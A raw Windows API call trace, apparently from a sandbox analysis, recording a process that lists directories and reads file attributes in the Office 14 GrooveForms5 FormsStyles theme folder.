	[0052.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.131] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.132] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif"), fInfoLevelId=0x0, lpFileInformation=0x1274c508 | out: lpFileInformation=0x1274c508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e)) returned 1
	[0052.133] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles"), fInfoLevelId=0x0, lpFileInformation=0x1274c558 | out: lpFileInformation=0x1274c558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.137] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.137] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css"), fInfoLevelId=0x0, lpFileInformation=0x1274d688 | out: lpFileInformation=0x1274d688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75c)) returned 1
	[0052.138] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana"), fInfoLevelId=0x0, lpFileInformation=0x1274d6d8 | out: lpFileInformation=0x1274d6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.139] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.139] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x1274d7c8 | out: lpFileInformation=0x1274d7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155)) returned 1
	[0052.139] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x1274d818 | out: lpFileInformation=0x1274d818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0052.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana.css"), fInfoLevelId=0x0, lpFileInformation=0x1274d868 | out: lpFileInformation=0x1274d868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb96)) returned 1
	[0052.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue"), fInfoLevelId=0x0, lpFileInformation=0x1274d8b8 | out: lpFileInformation=0x1274d8b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.141] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif"), fInfoLevelId=0x0, lpFileInformation=0x1274da48 | out: lpFileInformation=0x1274da48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9)) returned 1
	[0052.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif"), fInfoLevelId=0x0, lpFileInformation=0x1274da98 | out: lpFileInformation=0x1274da98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff)) returned 1
	[0052.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x1274dae8 | out: lpFileInformation=0x1274dae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155)) returned 1
	[0052.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x1274db38 | out: lpFileInformation=0x1274db38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0052.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue.css"), fInfoLevelId=0x0, lpFileInformation=0x1274db88 | out: lpFileInformation=0x1274db88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb0)) returned 1
	[0052.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Beige.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\beige.css"), fInfoLevelId=0x0, lpFileInformation=0x1274dbd8 | out: lpFileInformation=0x1274dbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71f)) returned 1
	[0052.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay"), fInfoLevelId=0x0, lpFileInformation=0x1274dc28 | out: lpFileInformation=0x1274dc28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.143] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x1274dd18 | out: lpFileInformation=0x1274dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155)) returned 1
	[0052.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x1274dd68 | out: lpFileInformation=0x1274dd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0052.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay.css"), fInfoLevelId=0x0, lpFileInformation=0x1274ddb8 | out: lpFileInformation=0x1274ddb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1
	[0052.144] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange"), fInfoLevelId=0x0, lpFileInformation=0x1274de08 | out: lpFileInformation=0x1274de08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.145] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.145] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\button.gif"), fInfoLevelId=0x0, lpFileInformation=0x1274df98 | out: lpFileInformation=0x1274df98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9)) returned 1
	[0052.145] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520008 | out: lpFileInformation=0x12520008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155)) returned 1
	[0052.145] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\tab_on.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520058 | out: lpFileInformation=0x12520058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0052.146] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\background.gif"), fInfoLevelId=0x0, lpFileInformation=0x125200a8 | out: lpFileInformation=0x125200a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143)) returned 1
	[0052.146] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange.css"), fInfoLevelId=0x0, lpFileInformation=0x125200f8 | out: lpFileInformation=0x125200f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3c)) returned 1
	[0052.146] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow"), fInfoLevelId=0x0, lpFileInformation=0x12520148 | out: lpFileInformation=0x12520148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.147] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\header.gif"), fInfoLevelId=0x0, lpFileInformation=0x12520288 | out: lpFileInformation=0x12520288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f)) returned 1
	[0052.147] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\tab_off.gif"), fInfoLevelId=0x0, lpFileInformation=0x125202d8 | out: lpFileInformation=0x125202d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155)) returned 1
